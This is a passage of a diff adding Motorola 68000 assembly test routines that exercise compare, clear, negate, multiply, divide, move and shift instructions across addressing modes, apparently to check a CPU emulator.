+    cmpi.w  #$2323,(A0)
+    cmpi.w  #$4545,-(A0)
+    cmpi.w  #$5656,2(A0)
+    cmpi.w  #$7878,-6(A0,D1.w)
+    cmpi.w  #$9A9A,$7000.w
+    cmpi.w  #$BCBC,$8000.l
+    
+    rts
+    
+    ; CMPI.L tests
+    ;-------------
+cmpi_l_test:
+    lea     $8000.l,A0
+    move.l  #$55555555,(A0)+
+    move.l  #$AAAAAAAA,(A0)+
+    move.l  #$12345678,(A0)+
+    move.l  #$9ABCDEF0,(A0)+
+    move.l  #$FFFFFFFF,(A0)
+    lea     -16(A0),A0
+    moveq   #16,D1
+
+    move.l  #$7FFFFFFF,D0
+    cmpi.l  #$7FFFFFFF,D0
+    cmpi.l  #$12121212,(A0)+
+    cmpi.l  #$23232323,(A0)
+    cmpi.l  #$45454545,-(A0)
+    cmpi.l  #$56565656,4(A0)
+    cmpi.l  #$78787878,-12(A0,D1.w)
+    cmpi.l  #$9A9A9A9A,$7000.w
+    cmpi.l  #$BCBCBCBC,$8000.l
+    
+    rts
+    
+   ; CLR and TST tests
+    ;------------------
+clr_tst_test:
+    lea     $8000.l,A0
+    moveq   #1,D1
+    move.b  #$55,D0
+    clr.b   D0
+    tst.b   D0
+    move.b  #$55,(A0)
+    clr.b   (A0)
+    tst.b   (A0)
+    move.b  #$55,(A0)
+    clr.b   (A0)+
+    tst.b   -(A0)
+    move.b  #$55,(A0)+
+    clr.b   -(A0)
+    tst.b   (A0)+
+    move.b  #$55,1(A0)
+    clr.b   1(A0)
+    tst.b   1(A0)
+    move.b  #$55,1(A0,D1.w)
+    clr.b   1(A0,D1.w)
+    tst.b   1(A0,D1.w)
+    move.b  #$55,$7000.w
+    clr.b   $7000.w
+    tst.b   $7000.w
+    move.b  #$55,$8000.l
+    clr.b   $8000.l
+    tst.b   $8000.l
+
+    lea     $8000.l,A0
+    moveq   #2,D1
+    move.w  #$5555,D0
+    clr.w   D0
+    tst.w   D0
+    move.w  #$5555,(A0)
+    clr.w   (A0)
+    tst.w   (A0)
+    move.w  #$5555,(A0)
+    clr.w   (A0)+
+    tst.w   -(A0)
+    move.w  #$5555,(A0)+
+    clr.w   -(A0)
+    tst.w   (A0)+
+    move.w  #$5555,2(A0)
+    clr.w   2(A0)
+    tst.w   2(A0)
+    move.w  #$5555,2(A0,D1.w)
+    clr.w   2(A0,D1.w)
+    tst.w   2(A0,D1.w)
+    move.w  #$55,$7000.w
+    clr.w   $7000.w
+    tst.w   $7000.w
+    move.w  #$5555,$8000.l
+    clr.w   $8000.l
+    tst.w   $8000.l
+
+    lea     $8000.l,A0
+    moveq   #4,D1
+    move.l  #$55555555,D0
+    clr.l   D0
+    tst.l   D0
+    move.l  #$55555555,(A0)
+    clr.l   (A0)
+    tst.l   (A0)
+    move.l  #$55555555,(A0)
+    clr.l   (A0)+
+    tst.l   -(A0)
+    move.l  #$55555555,(A0)+
+    clr.l   -(A0)
+    tst.l   (A0)+
+    move.l  #$55555555,4(A0)
+    clr.l   4(A0)
+    tst.l   4(A0)
+    move.l  #$55555555,4(A0,D1.w)
+    clr.l   4(A0,D1.w)
+    tst.l   4(A0,D1.w)
+    move.l  #$55555555,$7000.w
+    clr.l   $7000.w
+    tst.l   $7000.w
+    move.l  #$55555555,$8000.l
+    clr.l   $8000.l
+    tst.l   $8000.l
+
+    rts
+
+    ; NEG and NEGX tests
+    ;-------------------
+neg_test:
+    lea     $8000.l,A0
+    
+    move.l  #$12345678,(A0)
+    move.b  #$89,-$1000(A0)
+    moveq   #-128,D0
+    moveq   #127,D1
+    moveq   #0,D2
+    moveq   #1,D3
+    
+    neg.b   D0
+    negx.b   D1
+    negx.b   D2
+    neg.b   (A0)
+    move.b  (A0),D0
+    negx.b  1(A0)
+    move.b  1(A0),D0
+    neg.b   (A0)+
+    move.b  (A0),D0
+    negx.b  (A0)+
+    move.b  (A0),D0
+    neg.b   -2(A0)
+    move.b  -2(A0),D0
+    negx.b  -1(A0)
+    move.b  -1(A0),D0
+    neg.b   -(A0)
+    move.b  (A0),D0
+    negx.b  -(A0)
+    move.b  (A0),D0
+    neg.b   1(A0,D3)
+    move.b  1(A0,D3),D0
+    negx.b  2(A0,D3)
+    move.b  2(A0,D3),D0
+    neg.b   $7000.w
+    move.b  $7000.w,D0
+    negx.b  $7001.w
+    move.b  $7001.w,D0
+    neg.b   $8000.l
+    move.b  $8000.l,D0
+    negx.b  $8001.l
+    move.b  $8001.l,D0
+    
+    move.l  #$12345678,(A0)
+    move.l  #$9ABCDEF0,4(A0)
+    move.w  #$89AB,-$1000(A0)
+    move.w  #$8000,D0
+    move.w  #$7FFF,D1
+    moveq   #0,D2
+    moveq   #2,D3
+    
+    neg.w   D0
+    negx.w  D1
+    negx.w  D2
+    neg.w   (A0)
+    move.w  (A0),D0
+    negx.w  2(A0)
+    move.w  2(A0),D0
+    neg.w   (A0)+
+    move.w  (A0),D0
+    negx.w  (A0)+
+    move.w  (A0),D0
+    neg.w   -4(A0)
+    move.w  -4(A0),D0
+    negx.w  -2(A0)
+    move.w  -2(A0),D0
+    neg.w   -(A0)
+    move.w  (A0),D0
+    negx.w  -(A0)
+    move.w  (A0),D0
+    neg.w   2(A0,D3)
+    move.w  2(A0,D3),D0
+    negx.w  4(A0,D3)
+    move.w  4(A0,D3),D0
+    neg.w   $7000.w
+    move.w  $7000.w,D0
+    negx.w  $7002.w
+    move.w  $7002.w,D0
+    neg.w   $8000.l
+    move.w  $8000.l,D0
+    negx.w  $8002.l
+    move.w  $8002.l,D0
+    
+    move.l  #$12345678,(A0)
+    move.l  #$9ABCDEF0,4(A0)
+    move.l  #$12345678,8(A0)
+    move.l  #$9ABCDEF0,12(A0)
+    move.l  #$01234567,-$1000(A0)
+    move.l  #$89ABCDEF,-$0FFC(A0)
+    move.l  #$80000000,D0
+    move.l  #$7FFFFFFF,D1
+    moveq   #0,D2
+    moveq   #4,D3
+    
+    neg.l   D0
+    negx.l   D1
+    negx.l   D2
+    neg.l   (A0)
+    move.l  (A0),D0
+    negx.l  4(A0)
+    move.l  4(A0),D0
+    neg.l   (A0)+
+    move.l  (A0),D0
+    negx.l  (A0)+
+    move.l  (A0),D0
+    neg.l   -8(A0)
+    move.l  -8(A0),D0
+    negx.l  -4(A0)
+    move.l  -4(A0),D0
+    neg.l   -(A0)
+    move.l  (A0),D0
+    negx.l  -(A0)
+    move.l  (A0),D0
+    neg.l   0(A0,D3)
+    move.l  0(A0,D3),D0
+    negx.l  4(A0,D3)
+    move.l  4(A0,D3),D0
+    neg.l   $7000.w
+    move.l  $7000.w,D0
+    negx.l  $7004.w
+    move.l  $7004.w,D0
+    neg.l   $8000.l
+    move.l  $8000.l,D0
+    negx.l  $8004.l
+    move.l  $8004.l,D0
+    
+    rts
+    
+    ; NOT tests
+    ;----------
+not_test:
+    lea     $8000.l,A0
+    
+    move.l  #$12345678,(A0)
+    move.b  #$89,-$1000(A0)
+    moveq   #-128,D0
+    moveq   #127,D1
+    moveq   #0,D2
+    moveq   #1,D3
+    not.b   D0
+    not.b   D1
+    not.b   D2
+    not.b   (A0)
+    move.b  (A0),D0
+    not.b   (A0)+
+    move.b  (A0),D0
+    not.b   -1(A0)
+    move.b  -1(A0),D0
+    not.b   -(A0)
+    move.b  (A0),D0
+    not.b   1(A0,D3)
+    move.b  1(A0,D3),D0
+    not.b   $7000.w
+    move.b  $7000.w,D0
+    not.b   $8000.l
+    move.b  $8000.l,D0
+    
+    move.l  #$12345678,(A0)
+    move.l  #$9ABCDEF0,4(A0)
+    move.w  #$89AB,-$1000(A0)
+    move.w  #$8000,D0
+    move.w  #$7FFF,D1
+    moveq   #0,D2
+    moveq   #2,D3
+    not.w   D0
+    not.w   D1
+    not.w   D2
+    not.w   (A0)
+    move.w  (A0),D0
+    not.w   (A0)+
+    move.w  (A0),D0
+    not.w   -2(A0)
+    move.w  -2(A0),D0
+    not.w   -(A0)
+    move.w  (A0),D0
+    not.w   2(A0,D3)
+    move.w  2(A0,D3),D0
+    not.w   $7000.w
+    move.w  $7000.w,D0
+    not.w   $8000.l
+    move.w  $8000.l,D0
+    
+    move.l  #$12345678,(A0)
+    move.l  #$9ABCDEF0,8(A0)
+    move.l  #$89ABCDEF,-$1000(A0)
+    move.l  #$80000000,D0
+    move.l  #$7FFFFFFF,D1
+    moveq   #0,D2
+    moveq   #4,D3
+    not.l   D0
+    not.l   D1
+    not.l   D2
+    not.l   (A0)
+    move.l  (A0),D0
+    not.l   (A0)+
+    move.l  (A0),D0
+    not.l   -4(A0)
+    move.l  -4(A0),D0
+    not.l   -(A0)
+    move.l  (A0),D0
+    not.l   4(A0,D3)
+    move.l  4(A0,D3),D0
+    not.l   $7000.w
+    move.l  $7000.w,D0
+    not.l   $8000.l
+    move.l  $8000.l,D0
+    
+    rts
+
+    ; MULU, MULS tests
+    ;-----------------
+mult_test:
+    move.w  #$5555,D0
+    move.w  #$AAAA,D1
+    lea     $8000.l,A0
+    moveq   #2,D2    
+    move.w  D0,(A0)
+    move.w  D1,4(A0)
+    move.w  D1,-$1000(A0)
+    
+    mulu.w  D1,D0
+    mulu.w  (A0),D0
+    mulu.w  (A0)+,D0
+    mulu.w  -2(A0),D0
+    mulu.w  -(A0),D0
+    mulu.w  2(A0,D2.w),D0
+    mulu.w  $7000.w,D0
+    mulu.w  $8000.l,D0
+    mulu.w  mult_test+2(PC),D0
+    mulu.w  mult_test+4(PC,D2.w),D0
+    mulu.w  #$1234,D0
+    
+    muls.w  D1,D0
+    muls.w  (A0),D0
+    muls.w  (A0)+,D0
+    muls.w  -2(A0),D0
+    muls.w  -(A0),D0
+    muls.w  2(A0,D2.w),D0
+    muls.w  $7000.w,D0
+    muls.w  $8000.l,D0
+    muls.w  mult_test+2(PC),D0
+    muls.w  mult_test+4(PC,D2.w),D0
+    muls.w  #$1234,D0
+    
+    rts
+
+    ; DIVU, DIVS tests
+    ;-----------------
+div_test:
+    move.l  D0,D0
+    move.w  #$AAAA,D1
+    move.l  #$12345678,D2
+    lea     $8000.l,A0
+    moveq   #2,D3
+    move.w  D1,(A0)
+    move.w  D2,4(A0)
+    move.w  D1,-$1000(A0)
+    
+    move.l  D2,D0
+    divu    div_test+2(PC),D0
+    move.l  D2,D0
+    divu    div_test+4(PC,D3.w),D0
+    
+    move.l  D2,D0
+    divs    div_test+2(PC),D0
+    move.l  D2,D0
+    divs    div_test+4(PC,D3.w),D0
+    
+    move.l  D2,D0
+    divu    D1,D0
+    move.l  D2,D0
+    divu    (A0),D0
+    move.l  D2,D0
+    divu    (A0)+,D0
+    move.l  D2,D0
+    divu    -2(A0),D0
+    move.l  D2,D0
+    divu    -(A0),D0
+    move.l  D2,D0
+    divu    2(A0,D3.w),D0
+    move.l  D2,D0
+    divu    $7000.w,D0
+    move.l  D2,D0
+    divu    $8000.l,D0
+    move.l  D2,D0
+    divu    #$1234,D0
+    
+    move.l  D2,D0
+    divs    D1,D0
+    move.l  D2,D0
+    divs    (A0),D0
+    move.l  D2,D0
+    divs    (A0)+,D0
+    move.l  D2,D0
+    divs    -2(A0),D0
+    move.l  D2,D0
+    divs    -(A0),D0
+    move.l  D2,D0
+    divs    2(A0,D3.w),D0
+    move.l  D2,D0
+    divs    $7000.w,D0
+    move.l  D2,D0
+    divs    $8000.l,D0
+    move.l  D2,D0
+    divs    #$1234,D0
+    
+    move.l  #$12345678,D0
+    divu    #$1234,D0
+    move.l  #$55555555,D0
+    divu    #$AAAA,D0
+    move.l  #$AAAAAAAA,D0
+    divu    #$5555,D0
+    move.l  #$2AAAAAAA,D0
+    divu    #$5555,D0
+    move.l  #$12345678,D0
+    divs    #$1235,D0
+    move.l  #$12345678,D0
+    divs    #$1234,D0
+    move.l  #$55555555,D0
+    divs    #$AAAA,D0
+    move.l  #$AAAAAAAA,D0
+    divs    #$5555,D0
+    move.l  #$2AAAAAAA,D0
+    divs    #$5555,D0
+    rts
+
+    ; MOVE.B tests
+    ;-------------
+move_b_test_0:
+    lea     $8000.l,A0
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #2,D2
+    move.b  D0,D3
+    move.b  D1,D3
+    move.b  (A0),D3
+    move.b  (A0)+,D3
+    move.b  -(A0),D3
+    move.b  1(A0),D3
+    move.b  -3(A0,D2.w),D3
+    move.b  $7000.w,D3
+    move.b  $8000.l,D3
+    move.b  move_b_test_0(PC),D3
+    move.b  move_b_test_0(PC,D2.w),D3
+    move.b  #$12,D3
+    
+    rts
+    
+move_b_test_2:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #2,D2
+    move.b  D0,(A1)
+    move.b  D1,(A1)
+    move.b  (A0),(A1)
+    move.b  (A0)+,(A1)
+    move.b  -(A0),(A1)
+    move.b  1(A0),(A1)
+    move.b  -3(A0,D2.w),(A1)
+    move.b  $7000.w,(A1)
+    move.b  $8000.l,(A1)
+    move.b  move_b_test_2(PC),(A1)
+    move.b  move_b_test_2(PC,D2.w),(A1)
+    move.b  #$12,(A1)
+    
+    rts
+ 
+move_b_test_3:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #2,D2
+    move.b  D0,(A1)+
+    move.b  D1,(A1)+
+    move.b  (A0),(A1)+
+    move.b  (A0)+,(A1)+
+    move.b  -(A0),(A1)+
+    move.b  1(A0),(A1)+
+    move.b  -3(A0,D2.w),(A1)+
+    move.b  $7000.w,(A1)+
+    move.b  $8000.l,(A1)+
+    move.b  move_b_test_3(PC),(A1)+
+    move.b  move_b_test_3(PC,D2.w),(A1)+
+    move.b  #$12,(A1)+
+    
+    rts
+ 
+move_b_test_4:
+    lea     $8000.l,A0
+    lea     12(A0),A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #2,D2
+    move.b  D0,-(A1)
+    move.b  D1,-(A1)
+    move.b  (A0),-(A1)
+    move.b  (A0)+,-(A1)
+    move.b  -(A0),-(A1)
+    move.b  1(A0),-(A1)
+    move.b  -3(A0,D2.w),-(A1)
+    move.b  $7000.w,-(A1)
+    move.b  $8000.l,-(A1)
+    move.b  move_b_test_4(PC),-(A1)
+    move.b  move_b_test_4(PC,D2.w),-(A1)
+    move.b  #$12,-(A1)
+    
+    rts
+ 
+move_b_test_5:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #2,D2
+    move.b  D0,1(A1)
+    move.b  D1,2(A1)
+    move.b  (A0),3(A1)
+    move.b  (A0)+,4(A1)
+    move.b  -(A0),5(A1)
+    move.b  1(A0),6(A1)
+    move.b  -3(A0,D2.w),7(A1)
+    move.b  $7000.w,8(A1)
+    move.b  $8000.l,9(A1)
+    move.b  move_b_test_5(PC),10(A1)
+    move.b  move_b_test_5(PC,D2.w),11(A1)
+    move.b  #$12,12(A1)
+    
+    rts
+
+move_b_test_6:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #2,D2
+    move.b  D0,1(A1,D2.w)
+    move.b  D1,2(A1,D2.w)
+    move.b  (A0),3(A1,D2.w)
+    move.b  (A0)+,4(A1,D2.w)
+    move.b  -(A0),5(A1,D2.w)
+    move.b  1(A0),6(A1,D2.w)
+    move.b  -3(A0,D2.w),7(A1,D2.w)
+    move.b  $7000.w,8(A1,D2.w)
+    move.b  $8000.l,9(A1,D2.w)
+    move.b  move_b_test_6(PC),10(A1,D2.w)
+    move.b  move_b_test_6(PC,D2.w),11(A1,D2.w)
+    move.b  #$12,12(A1,D2.w)
+    
+    rts
+
+move_b_test_7:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #2,D2
+    move.b  D0,$7001.w
+    move.b  D1,$7002.w
+    move.b  (A0),$7003.w
+    move.b  (A0)+,$7004.w
+    move.b  -(A0),$7005.w
+    move.b  1(A0),$7006.w
+    move.b  -3(A0,D2.w),$7007.w
+    move.b  $7000.w,$7008.w
+    move.b  $8000.l,$7009.w
+    move.b  move_b_test_7(PC),$700A.w
+    move.b  move_b_test_7(PC,D2.w),$700B.w
+    move.b  #$12,$700C.w
+    
+    rts
+
+move_b_test_8:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #2,D2
+    move.b  D0,$8001.l
+    move.b  D1,$8002.l
+    move.b  (A0),$8003.l
+    move.b  (A0)+,$8004.l
+    move.b  -(A0),$8005.l
+    move.b  1(A0),$8006.l
+    move.b  -3(A0,D2.w),$8007.l
+    move.b  $7000.w,$8008.l
+    move.b  $8000.l,$8009.l
+    move.b  move_b_test_8(PC),$800A.l
+    move.b  move_b_test_8(PC,D2.w),$800B.l
+    move.b  #$12,$800C.l
+    
+    rts
+
+    ; MOVE.W tests
+    ;-------------
+move_w_test_0:
+    lea     $8000.l,A0
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #6,D2
+    move.w  D0,D3
+    move.w  D1,D3
+    move.w  A0,D3
+    move.w  (A0),D3
+    move.w  (A0)+,D3
+    move.w  -(A0),D3
+    move.w  2(A0),D3
+    move.w  -4(A0,D2.w),D3
+    move.w  $7000.w,D3
+    move.w  $8000.l,D3
+    move.w  move_w_test_0(PC),D3
+    move.w  move_w_test_0(PC,D2.w),D3
+    move.w  #$1234,D3
+    
+    rts
+    
+move_w_test_1:
+    lea     $8000.l,A0
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #6,D2
+    movea.w D0,A3
+    movea.w D1,A3
+    movea.w A0,A3
+    movea.w (A0),A3
+    movea.w (A0)+,A3
+    movea.w -(A0),A3
+    movea.w 2(A0),A3
+    movea.w -4(A0,D2.w),A3
+    movea.w $7000.w,A3
+    movea.w $8000.l,A3
+    movea.w move_w_test_0(PC),A3
+    movea.w move_w_test_0(PC,D2.w),A3
+    movea.w #$1234,A3
+    
+    rts
+    
+move_w_test_2:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #6,D2
+    move.w  D0,(A1)
+    move.w  D1,(A1)
+    move.w  A0,(A1)
+    move.w  (A0),(A1)
+    move.w  (A0)+,(A1)
+    move.w  -(A0),(A1)
+    move.w  2(A0),(A1)
+    move.w  -4(A0,D2.w),(A1)
+    move.w  $7000.w,(A1)
+    move.w  $8000.l,(A1)
+    move.w  move_w_test_2(PC),(A1)
+    move.w  move_w_test_2(PC,D2.w),(A1)
+    move.w  #$1234,(A1)
+    
+    rts
+ 
+move_w_test_3:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #6,D2
+    move.w  D0,(A1)+
+    move.w  D1,(A1)+
+    move.w  A0,(A1)+
+    move.w  (A0),(A1)+
+    move.w  (A0)+,(A1)+
+    move.w  -(A0),(A1)+
+    move.w  2(A0),(A1)+
+    move.w  -4(A0,D2.w),(A1)+
+    move.w  $7000.w,(A1)+
+    move.w  $8000.l,(A1)+
+    move.w  move_w_test_3(PC),(A1)+
+    move.w  move_w_test_3(PC,D2.w),(A1)+
+    move.w  #$1234,(A1)+
+    
+    rts
+ 
+move_w_test_4:
+    lea     $8000.l,A0
+    lea     26(A0),A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #6,D2
+    move.w  D0,-(A1)
+    move.w  D1,-(A1)
+    move.w  A0,-(A1)
+    move.w  (A0),-(A1)
+    move.w  (A0)+,-(A1)
+    move.w  -(A0),-(A1)
+    move.w  2(A0),-(A1)
+    move.w  -4(A0,D2.w),-(A1)
+    move.w  $7000.w,-(A1)
+    move.w  $8000.l,-(A1)
+    move.w  move_w_test_4(PC),-(A1)
+    move.w  move_w_test_4(PC,D2.w),-(A1)
+    move.w  #$1234,-(A1)
+    
+    rts
+ 
+move_w_test_5:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #6,D2
+    move.w  D0,2(A1)
+    move.w  D1,4(A1)
+    move.w  A0,6(A1)
+    move.w  (A0),8(A1)
+    move.w  (A0)+,10(A1)
+    move.w  -(A0),12(A1)
+    move.w  2(A0),14(A1)
+    move.w  -4(A0,D2.w),16(A1)
+    move.w  $7000.w,18(A1)
+    move.w  $8000.l,20(A1)
+    move.w  move_w_test_5(PC),22(A1)
+    move.w  move_w_test_5(PC,D2.w),24(A1)
+    move.w  #$1234,26(A1)
+    
+    rts
+
+move_w_test_6:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #6,D2
+    move.w  D0,2(A1,D2.w)
+    move.w  D1,4(A1,D2.w)
+    move.w  A0,6(A1,D2.w)
+    move.w  (A0),8(A1,D2.w)
+    move.w  (A0)+,10(A1,D2.w)
+    move.w  -(A0),12(A1,D2.w)
+    move.w  2(A0),14(A1,D2.w)
+    move.w  -4(A0,D2.w),16(A1,D2.w)
+    move.w  $7000.w,18(A1,D2.w)
+    move.w  $8000.l,20(A1,D2.w)
+    move.w  move_w_test_6(PC),22(A1,D2.w)
+    move.w  move_w_test_6(PC,D2.w),24(A1,D2.w)
+    move.w  #$1234,26(A1,D2.w)
+    
+    rts
+
+move_w_test_7:
+    lea     $8000.l,A0
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #6,D2
+    move.w  D0,$7002.w
+    move.w  D1,$7004.w
+    move.w  A0,$7006.w
+    move.w  (A0),$7008.w
+    move.w  (A0)+,$700A.w
+    move.w  -(A0),$700C.w
+    move.w  2(A0),$700E.w
+    move.w  -4(A0,D2.w),$7010.w
+    move.w  $7000.w,$7012.w
+    move.w  $8000.l,$7014.w
+    move.w  move_w_test_7(PC),$7016.w
+    move.w  move_w_test_7(PC,D2.w),$7018.w
+    move.w  #$1234,$701A.w
+    
+    rts
+    
+move_w_test_8:
+    lea     $8000.l,A0
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #6,D2
+    move.w  D0,$8002.l
+    move.w  D1,$8004.l
+    move.w  A0,$8006.l
+    move.w  (A0),$8008.l
+    move.w  (A0)+,$800A.l
+    move.w  -(A0),$800C.l
+    move.w  2(A0),$800E.l
+    move.w  -4(A0,D2.w),$8010.l
+    move.w  $7000.w,$8012.l
+    move.w  $8000.l,$8014.l
+    move.w  move_w_test_8(PC),$8016.l
+    move.w  move_w_test_8(PC,D2.w),$8018.l
+    move.w  #$1234,$801A.l
+    
+    rts
+    
+    ; MOVE.L tests
+    ;-------------
+move_l_test_0:
+    lea     $8000.l,A0
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #8,D2
+    move.l  D0,D3
+    move.l  D1,D3
+    move.l  A0,D3
+    move.l  (A0),D3
+    move.l  (A0)+,D3
+    move.l  -(A0),D3
+    move.l  4(A0),D3
+    move.l  -6(A0,D2.w),D3
+    move.l  $7000.w,D3
+    move.l  $8000.l,D3
+    move.l  move_l_test_0(PC),D3
+    move.l  move_l_test_0(PC,D2.w),D3
+    move.l  #$12345678,D3
+    
+    rts
+    
+move_l_test_1:
+    lea     $8000.l,A0
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #8,D2
+    movea.l D0,A3
+    movea.l D1,A3
+    movea.l A0,A3
+    movea.l (A0),A3
+    movea.l (A0)+,A3
+    movea.l -(A0),A3
+    movea.l 4(A0),A3
+    movea.l -6(A0,D2.w),A3
+    movea.l $7000.w,A3
+    movea.l $8000.l,A3
+    movea.l move_l_test_0(PC),A3
+    movea.l move_l_test_0(PC,D2.w),A3
+    movea.l #$12345678,A3
+    
+    rts
+    
+move_l_test_2:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #8,D2
+    move.l  D0,(A1)
+    move.l  D1,(A1)
+    move.l  A0,(A1)
+    move.l  (A0),(A1)
+    move.l  (A0)+,(A1)
+    move.l  -(A0),(A1)
+    move.l  4(A0),(A1)
+    move.l  -6(A0,D2.w),(A1)
+    move.l  $7000.w,(A1)
+    move.l  $8000.l,(A1)
+    move.l  move_l_test_2(PC),(A1)
+    move.l  move_l_test_2(PC,D2.w),(A1)
+    move.l  #$12345678,(A1)
+    
+    rts
+ 
+move_l_test_3:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #8,D2
+    move.l  D0,(A1)+
+    move.l  D1,(A1)+
+    move.l  A0,(A1)+
+    move.l  (A0),(A1)+
+    move.l  (A0)+,(A1)+
+    move.l  -(A0),(A1)+
+    move.l  4(A0),(A1)+
+    move.l  -6(A0,D2.w),(A1)+
+    move.l  $7000.w,(A1)+
+    move.l  $8000.l,(A1)+
+    move.l  move_l_test_3(PC),(A1)+
+    move.l  move_l_test_3(PC,D2.w),(A1)+
+    move.l  #$12345678,(A1)+
+    
+    rts
+ 
+move_l_test_4:
+    lea     $8000.l,A0
+    lea     52(A0),A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #8,D2
+    move.l  D0,-(A1)
+    move.l  D1,-(A1)
+    move.l  A0,-(A1)
+    move.l  (A0),-(A1)
+    move.l  (A0)+,-(A1)
+    move.l  -(A0),-(A1)
+    move.l  4(A0),-(A1)
+    move.l  -6(A0,D2.w),-(A1)
+    move.l  $7000.w,-(A1)
+    move.l  $8000.l,-(A1)
+    move.l  move_l_test_4(PC),-(A1)
+    move.l  move_l_test_4(PC,D2.w),-(A1)
+    move.l  #$12345678,-(A1)
+    
+    rts
+ 
+move_l_test_5:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #8,D2
+    move.l  D0,4(A1)
+    move.l  D1,8(A1)
+    move.l  A0,12(A1)
+    move.l  (A0),16(A1)
+    move.l  (A0)+,20(A1)
+    move.l  -(A0),24(A1)
+    move.l  4(A0),28(A1)
+    move.l  -6(A0,D2.w),32(A1)
+    move.l  $7000.w,36(A1)
+    move.l  $8000.l,40(A1)
+    move.l  move_l_test_5(PC),44(A1)
+    move.l  move_l_test_5(PC,D2.w),48(A1)
+    move.l  #$12345678,52(A1)
+    
+    rts
+
+move_l_test_6:
+    lea     $8000.l,A0
+    move.l  A0,A1
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #8,D2
+    move.l  D0,4(A1,D2.w)
+    move.l  D1,8(A1,D2.w)
+    move.l  A0,12(A1,D2.w)
+    move.l  (A0),16(A1,D2.w)
+    move.l  (A0)+,20(A1,D2.w)
+    move.l  -(A0),24(A1,D2.w)
+    move.l  4(A0),28(A1,D2.w)
+    move.l  -6(A0,D2.w),32(A1,D2.w)
+    move.l  $7000.w,36(A1,D2.w)
+    move.l  $8000.l,40(A1,D2.w)
+    move.l  move_l_test_6(PC),44(A1,D2.w)
+    move.l  move_l_test_6(PC,D2.w),48(A1,D2.w)
+    move.l  #$12345678,52(A1,D2.w)
+    
+    rts
+
+move_l_test_7:
+    lea     $8000.l,A0
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #8,D2
+    move.l  D0,$7002.w
+    move.l  D1,$7004.w
+    move.l  A0,$7006.w
+    move.l  (A0),$7008.w
+    move.l  (A0)+,$700A.w
+    move.l  -(A0),$700C.w
+    move.l  4(A0),$700E.w
+    move.l  -6(A0,D2.w),$7010.w
+    move.l  $7000.w,$7012.w
+    move.l  $8000.l,$7014.w
+    move.l  move_l_test_7(PC),$7016.w
+    move.l  move_l_test_7(PC,D2.w),$7018.w
+    move.l  #$12345678,$701A.w
+    
+    rts
+    
+move_l_test_8:
+    lea     $8000.l,A0
+    moveq   #0,D0
+    moveq   #-128,D1
+    moveq   #8,D2
+    move.l  D0,$8002.l
+    move.l  D1,$8004.l
+    move.l  A0,$8006.l
+    move.l  (A0),$8008.l
+    move.l  (A0)+,$800A.l
+    move.l  -(A0),$800C.l
+    move.l  4(A0),$800E.l
+    move.l  -6(A0,D2.w),$8010.l
+    move.l  $7000.w,$8012.l
+    move.l  $8000.l,$8014.l
+    move.l  move_l_test_8(PC),$8016.l
+    move.l  move_l_test_8(PC,D2.w),$8018.l
+    move.l  #$12345678,$801A.l
+    
+    rts
+
+movem_test:
+    moveq   #-1,D0
+    moveq   #-2,D1
+    moveq   #-3,D2
+    moveq   #-4,D3
+    moveq   #0,D4
+    moveq   #1,D5
+    moveq   #2,D6
+    moveq   #3,D7
+
+    movem.l D0-D7,-(SP)
+    movem.l 16(SP),A0-A3
+    movem.l D0-D7,(SP)
+    movem.l (SP),A0-A3
+    movem.l 16(SP),A0-A3
+    movem.l D4-D7,16(SP)
+    movem.l 16(SP),A0-A3
+    movem.l D0-D3,16(SP,D4)
+    movem.l 16(SP),A0-A3
+    movem.l (SP)+,D0-D7
+    
+    moveq   #-1,D0
+    moveq   #-2,D1
+    moveq   #-3,D2
+    moveq   #-4,D3
+    moveq   #0,D4
+    moveq   #1,D5
+    moveq   #2,D6
+    moveq   #3,D7
+
+    movem.w D0-D7,-(SP)
+    movem.w 8(SP),A0-A3
+    movem.w D0-D7,(SP)
+    movem.w (SP),A0-A3
+    movem.w 8(SP),A0-A3
+    movem.w D4-D7,8(SP)
+    movem.w 8(SP),A0-A3
+    movem.w D0-D3,8(SP,D4)
+    movem.w 8(SP),A0-A3
+    movem.w (SP)+,D0-D7
+    
+    rts
+    
+    ; Shifts immediate tests
+    ;-----------------------
+shifti_test:
+    moveq   #$55,D0
+    asr.b   #3,D0
+    moveq   #-1,D0
+    lsr.b   #3,D0
+    moveq   #-10,D0
+    ror.b   #8,D0
+    moveq   #-128,D0
+    roxr.b  #3,D0
+    
+    moveq   #$55,D0
+    asr.w   #3,D0
